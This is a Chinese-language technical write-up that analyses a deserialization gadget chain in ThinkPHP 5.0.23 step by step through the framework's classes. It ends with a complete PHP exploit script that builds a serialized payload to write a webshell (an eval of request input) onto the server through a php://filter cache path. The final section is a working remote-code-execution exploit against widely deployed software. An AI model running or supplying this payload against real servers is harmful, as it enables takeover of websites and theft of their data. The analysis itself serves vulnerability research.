ThinkPHPv5.0.x反序列化利用链
前言
漏洞测试环境: php 7.3
+ Windows
+ ThinkPHPv5.0.23
漏洞测试代码: index/controller/Index.php
<?php
namespace app\index\controller;class Index
{public function index(){return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';}public function hacker(){unserialize($_POST['data']); // 新增加的hacker方法}
}
漏洞分析
因为一般的反序列化POP链入口是__wakeup()
和__destruct()
两个魔术方法,所以一般要重点关注。
Windows类
起手搜索魔术方法__destruct
可以在thinkphp\library\think\process\pipes\Windows.php
中找到Windows类的__destruct()
方法,其中有close()
和removeFiles()
方法
public function __destruct()
{$this->close();$this->removeFiles();
}
先看一眼close()方法,在当前文件下搜索close(
,代码内容只是关闭一些文件,没有可以利用的点
public function close()
{parent::close(); // 其父类的close也是关闭文件的操作,没有可以利用的点foreach ($this->fileHandles as $handle) {fclose($handle);}$this->fileHandles = [];
}
再看removefiles()
方法,搜索removefiles(
private function removeFiles()
{foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];
}
file_exists
函数传入一个对象,就可以调用其__toString()
方法,因为$filename
可控,所以全局搜索__toString(
,从上往下尝试,发现只有thinkphp\library\think\Model.php
文件中的Model
类中的__toString
方法可以利用。但是Model
类是一个抽象类,所以我们需要找到一个它的子类,全局搜索extends Model
,找到Merge
和Pivot
,选择哪个都可以,这里选择Pivot
每结束一部分,我们去编写每一部分的exp,否则最后还得重头再找一遍
exp
namespace think\process\pipes;class Pipes{}
class Windows extends Pipes{private $files=[];function __construct(){$this->files=[new \think\model\Pivot()];}
}
Model类
跳转至__toString
public function __toString()
{return $this->toJson();
}
跟进toJson()
public function toJson($options = JSON_UNESCAPED_UNICODE)
{return json_encode($this->toArray(), $options);
}
跟进toArray
public function toArray()
{$item = [];$visible = [];$hidden = [];$data = array_merge($this->data, $this->relation);// 过滤属性if (!empty($this->visible)) {$array = $this->parseAttr($this->visible, $visible);$data = array_intersect_key($data, array_flip($array));} elseif (!empty($this->hidden)) {$array = $this->parseAttr($this->hidden, $hidden, false);$data = array_diff_key($data, array_flip($array));}foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象$item[$key] = $this->subToArray($val, $visible, $hidden, $key);} elseif (is_array($val) && reset($val) instanceof Model) {// 关联模型数据集$arr = [];foreach ($val as $k => $value) {$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);}$item[$key] = $arr;} else {// 模型属性$item[$key] = $this->getAttr($key);}}// 追加属性(必须定义获取器)if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getAttr($key);$item[$key] = $relation->append($name)->toArray();} elseif (strpos($name, '.')) {list($key, $attr) = explode('.', $name);// 追加关联对象属性$relation = $this->getAttr($key);$item[$key] = $relation->append([$attr])->toArray();} else {$relation = Loader::parseName($name, 1, false);if (method_exists($this, $relation)) {$modelRelation = $this->$relation();$value = $this->getRelationData($modelRelation);if (method_exists($modelRelation, 'getBindAttr')) {$bindAttr = $modelRelation->getBindAttr();if ($bindAttr) {foreach ($bindAttr as $key => $attr) {$key = is_numeric($key) ? $attr : $key;if (isset($this->data[$key])) {throw new Exception('bind attr has exists:' . $key);} else {$item[$key] = $value ? $value->getAttr($attr) : null;}}continue;}}$item[$name] = $value;} else {$item[$name] = $this->getAttr($name);}}}}return !empty($item) ? $item : [];
}
其中在886行有一个三元运算符,$item[$key] = $value ? $value->getAttr($attr) : null;
,假如$value没有getAttr
方法,就会触发__call()
魔术方法,所以我们要找一个带__call()
方法且没有getAttr()
方法的类。全局搜索__call(
,在thinkphp\library\think\console\Output.php
文件中找到了Output
类,其满足带__call()
方法且没有getAttr()
方法的条件。要控制$value
的值为Output
对象,才能触发__call()
,我们分析$value
是怎么赋值的
赋值value
$name
的值是数组$append
的值,$append
是可控的,所以$name
也是可控的
if (!empty($this->append)) {foreach ($this->append as $key => $name) {
$relation
的值是parseName
方法传入了$name
得到的
$relation = Loader::parseName($name, 1, false); // $name是数组append的值,append可控,$name就可控if (method_exists($this, $relation)) {$modelRelation = $this->$relation();$value = $this->getRelationData($modelRelation);if (method_exists($modelRelation, 'getBindAttr')) {$bindAttr = $modelRelation->getBindAttr();if ($bindAttr) {foreach ($bindAttr as $key => $attr) {$key = is_numeric($key) ? $attr : $key;if (isset($this->data[$key])) {throw new Exception('bind attr has exists:' . $key);} else {$item[$key] = $value ? $value->getAttr($attr) : null;}}continue;}}$item[$name] = $value;
} else {$item[$name] = $this->getAttr($name);
}
跟进parseName
,可以简单理解为什么都没有改变,因为它只是改变字母的大小写,也就是说$relation
可控。
public static function parseName($name, $type = 0, $ucfirst = true)
{if ($type) {$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {return strtoupper($match[1]);}, $name);return $ucfirst ? ucfirst($name) : lcfirst($name);}return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}
紧接着进行判断是否存在这个类是否存在$relation
方法,如果存在这个方法,就立马调用。那么我们就要找一找当前文件是不是可以控制返回值的无参方法。最后找到了getError
方法,相当于$modelRelation
可控
public function getError()
{return $this->error;
}
跟进getRelationData
方法,$this->parent
可控,所以可以执行$value = $this->parent;
。为了实现这一效果,就要满足$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
,重点在于$modelRelation
的值。
protected function getRelationData(Relation $modelRelation)
{if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {$value = $this->parent;} else {// 首先获取关联数据if (method_exists($modelRelation, 'getRelation')) {$value = $modelRelation->getRelation();} else {throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');}}return $value;
}
接着来看$modelRelation
的值,必须满足method_exists($modelRelation, 'getBindAttr'
,才能进入$item[$key] = $value ? $value->getAttr($attr) : null;
,所以搜索function getBindAttr
,在文件thinkphp\library\think\model\relation\OneToOne.php
文件中OneToOne
类找到了getBindAttr
函数。所以$modelRelation
的值必须是OneToOne
类或者它的子类。因为OneToOne
是一个抽象类,所以找一个他的不是抽象类的子类,最终确定为HasOne
。
getBindAttr()
方法返回变量$bindAttr
,$this->bindAttr
是可控的
public function getBindAttr()
{return $this->bindAttr;
}
再回到getRelationData
方法,$modelRelation
的值确定为HasOne
之后,想要确定!$modelRelation->isSelfRelation()
是否成立,就要去HasOne
里或者他的父类里寻找isSelfRelation()
方法的返回值是否可控。最后在其父类Relation
中找到了此方法,其返回值$this->selfRelation
可控
public function isSelfRelation()
{return $this->selfRelation;
}
接着看get_class($modelRelation->getModel()) == get_class($this->parent)
是否可以实现,在HasOne
中搜索getModel()
方法,搜索不到
那么去他的父类或者他父类的父类搜索,最终在Relation
类中找到了这个方法,$this->query
是可控的
public function getModel()
{return $this->query->getModel();
}
全局搜索function getModel(
,在thinkphp\library\think\db\Query.php
中找到了返回值可以控制的getModel
方法(this->model
可以控制)。那么也就是说在getRelationData()
方法里get_class($modelRelation->getModel()) == get_class($this->parent)
,这行代码是可以实现的,最终执行$value = $this->parent
,最终返回$this->parent
这一可控的值
public function getModel()
{return $this->model;
}
所以,getRelationData()
方法中的$value
就是可控值,是可以被赋值为Output
类
exp
namespace think;
abstract class Model{protected $append;protected $error;protected $parent;public function __construct(){$this->append = ['getError'];$this->error= new \think\model\relation\HasOne();$this->parent=new \think\console\Output();}
}namespace think\model;
abstract class Relation{protected $selfRelation;protected $query;public function __construct(){$this->selfRelation=false;$this->query = new \think\db\Query();}
}namespace think\model\relation;
abstract class OneToOne extends \think\model\Relation{public function __construct(){parent::__construct();}
}namespace think\model\relation;
class HasOne extends OneToOne{public function __construct(){parent::__construct();$this->bindAttr=["xiny"];}}namespace think\db;
class Query{protected $model;public function __construct(){$this->model=new \think\console\Output();}
}
Output类
__call()
方法中$method
是不可控的,就是getAttr
,但是$args
是否可控的,就看toArray中的$args
是否可控
public function __call($method, $args)
{if (in_array($method, $this->styles)) { //想进这个条件,就要让$styles=['getAttr']array_unshift($args, $method);return call_user_func_array([$this, 'block'], $args);}if ($this->handle && method_exists($this->handle, $method)) {return call_user_func_array([$this->handle, $method], $args);} else {throw new Exception('method not exists:' . __CLASS__ . '->' . $method);}
}
这段代码的大意
跟进block方法,刚才说Output
类中的__call()魔术方法中的$args
是可控的,那么block方法中的$style
,可控,但是$message
是不可控的,它的值为getAttr
protected function block($style, $message)
{$this->writeln("<{$style}>{$message}</$style>");
}
跟进writeln
方法,发现其又调用了write
方法,且writeln方法的$messages
不那么可控了,也就是说传入write
方法的$messages
也是不可控的
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{$this->write($messages, true, $type);
}
跟进write方法,此时$messages
是不可控,$this->handle
可控,那么就看哪个类是有write
方法并且可以利用的
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{$this->handle->write($messages, $newline, $type);
}
全局搜索function write(
,选择thinkphp\library\think\session\driver\Memcached.php
文件中的write
方法
exp
编写这部分的exp:
namespace think\console;
class Output{protected $handle;protected $styles = [];public function __construct(){$this->handle=new \think\session\driver\Memcache();$this->styles=['getAttr'];}
}
Memcached类
$this->handler
是可控的,$this->config['session_name']
也是可控的,但是$sessID
是不可控的,因为他是前面的writeln
方法的$messages
,$sessData
也不可控制
public function write($sessID, $sessData)
{return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}
查看可跳转的set
方法,全局搜索function set(
,发现File.php
的set
方法可以进行利用
exp
编写exp:
namespace think\session\driver;
class Memcache{protected $handler;public function __construct(){$this->handler=new \think\cache\driver\File();}
}
File类
跟进set()
方法,set()
方法的$name
是不完全可控的,$value
是不可控的
public function set($name, $value, $expire = null)
{if (is_null($expire)) {$expire = $this->options['expire'];}if ($expire instanceof \DateTime) {$expire = $expire->getTimestamp() - time();}$filename = $this->getCacheKey($name, true);if ($this->tag && !is_file($filename)) {$first = true;}$data = serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {isset($first) && $this->setTagItem($filename);clearstatcache();return true;} else {return false;}
}
$filename
的赋值需要跟进getCacheKey
方法,跟进。$name
可控,但是$this->options['path']
是可控的,所以最后的$filename
部分可控
protected function getCacheKey($name, $auto = false)
{$name = md5($name);if ($this->options['cache_subdir']) {// 使用子目录$name = substr($name, 0, 2) . DS . substr($name, 2);}if ($this->options['prefix']) {$name = $this->options['prefix'] . DS . $name;}$filename = $this->options['path'] . $name . '.php';$dir = dirname($filename);if ($auto && !is_dir($dir)) {mkdir($dir, 0755, true);}return $filename;
}
setTagItem
接着进入setTagItem()
方法,搜索setTagItem(
,在File.php文件中没有搜到,全局搜索,在Driver.php
中找到了这个方法,在看一看File类是否继承了Drive类,发现继承,这就说的通了。由于之前的$filename
是部分可控的,所以setTagItem
中的$name
是部分可控的
protected function setTagItem($name)
{if ($this->tag) {$key = 'tag_' . md5($this->tag);$this->tag = null;if ($this->has($key)) {$value = explode(',', $this->get($key));$value[] = $name;$value = implode(',', array_unique($value));} else {$value = $name;}$this->set($key, $value, 0);}
}
在代码194行$this->has($key)
,跟进has方法,$key
不可控,那么has方法里的$name
也不可控
public function has($name)
{return $this->get($name) ? true : false;
}
再跟进get()方法,很明显会返回$default
,因这个这次传入getCacheKey()
方法的值和前一次传入getCacheKey()
方法的值不一样,所以这个文件就不会存在,所以就会返回$default
public function get($name, $default = false)
{$filename = $this->getCacheKey($name);if (!is_file($filename)) {return $default;}$content = file_get_contents($filename);$this->expire = null;if (false !== $content) {$expire = (int) substr($content, 8, 12);if (0 != $expire && time() > filemtime($filename) + $expire) {return $default;}$this->expire = $expire;$content = substr($content, 32);if ($this->options['data_compress'] && function_exists('gzcompress')) {//启用数据压缩$content = gzuncompress($content);}$content = unserialize($content);return $content;} else {return $default;}
}
回到setTagItem()
方法,就会执行$value = $name;
语句将$name
的值赋值给$value
,那么这个$name
的值是什么呢,是第一次执行getCacheKey
方法时返回的$filename
。
在代码200行,又进行了一次set()
方法的调用,但是这次看他的传参和第一次的传参不一样了
再次跟进set()
方法,set()
方法的$name
是不可控的,$value
是就是getCacheKey
方法时返回的$filename
,是不完全可控的,但是对于写进去恶意代码,已经足够了
public function set($name, $value, $expire = null)
{if (is_null($expire)) {$expire = $this->options['expire'];}if ($expire instanceof \DateTime) {$expire = $expire->getTimestamp() - time();}$filename = $this->getCacheKey($name, true);if ($this->tag && !is_file($filename)) {$first = true;}$data = serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {isset($first) && $this->setTagItem($filename);clearstatcache();return true;} else {return false;}
}
正常执行set
方法,执行getCacheKey
方法,获得一个新的$filename
,$data
就是我们第一次的写的带有恶意代码的$filename
,直到走到$result = file_put_contents($filename, $data);
这一行代码,恶意文件被写入
exp
编写exp
namespace think\cache\driver;#File
class File{protected $options=[];protected $tag;function __construct(){$this->options = ['expire'=> 0,'cache_subdir' => false,'prefix'=> '','path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php','data_compress' => false,];$this->tag=true;}
}
最终exp
最终EXP如下:
<?phpnamespace think\process\pipes;
use think\model\Pivot;
class Pipes{}class Windows extends Pipes{private $files=[];function __construct(){$this->files=[new Pivot()];}
}namespace think\model;#Relation
use think\db\Query;
abstract class Relation{protected $selfRelation;protected $query;function __construct(){$this->selfRelation=false;$this->query= new Query();}
}namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{function __construct(){parent::__construct();}}
class HasOne extends OneToOne{protected $bindAttr = [];function __construct(){parent::__construct();$this->bindAttr=["no","123"];}
}namespace think\console;#Output
use think\session\driver\Memcache;
class Output{private $handle = null;protected $styles = [];function __construct(){$this->handle=new Memcache();// 目的调用write()$this->styles=['getAttr'];}
}namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{protected $append = [];protected $error;public $parent;protected $selfRelation;protected $query;protected $aaaaa;public function __construct(){$this->parent=new Output();// Output对象,目的是调用__call() $this->append=["getError"]; $this->error=new HasOne();// Relation子类,且有getBindAttrr()$this->selfRelation=false;// isSelfRelation()$this->query=new Query();}
}namespace think\db;#Query
use think\console\Output;
class Query{protected $model;function __construct(){$this->model= new Output();}
}namespace think\session\driver;#Memcache
use think\cache\driver\File;
class Memcache{protected $handler = null;function __construct(){$this->handler=new File();//目的调用File->set()}
}
namespace think\cache\driver;#File
class File{protected $options=[];protected $tag;function __construct(){$this->options = ['expire'=> 0,'cache_subdir' => false,'prefix'=> '','path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pPz4=/../a.php','data_compress' => false,];$this->tag=true;}
}namespace think\model;
use think\Model;
class Pivot extends Model{}use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>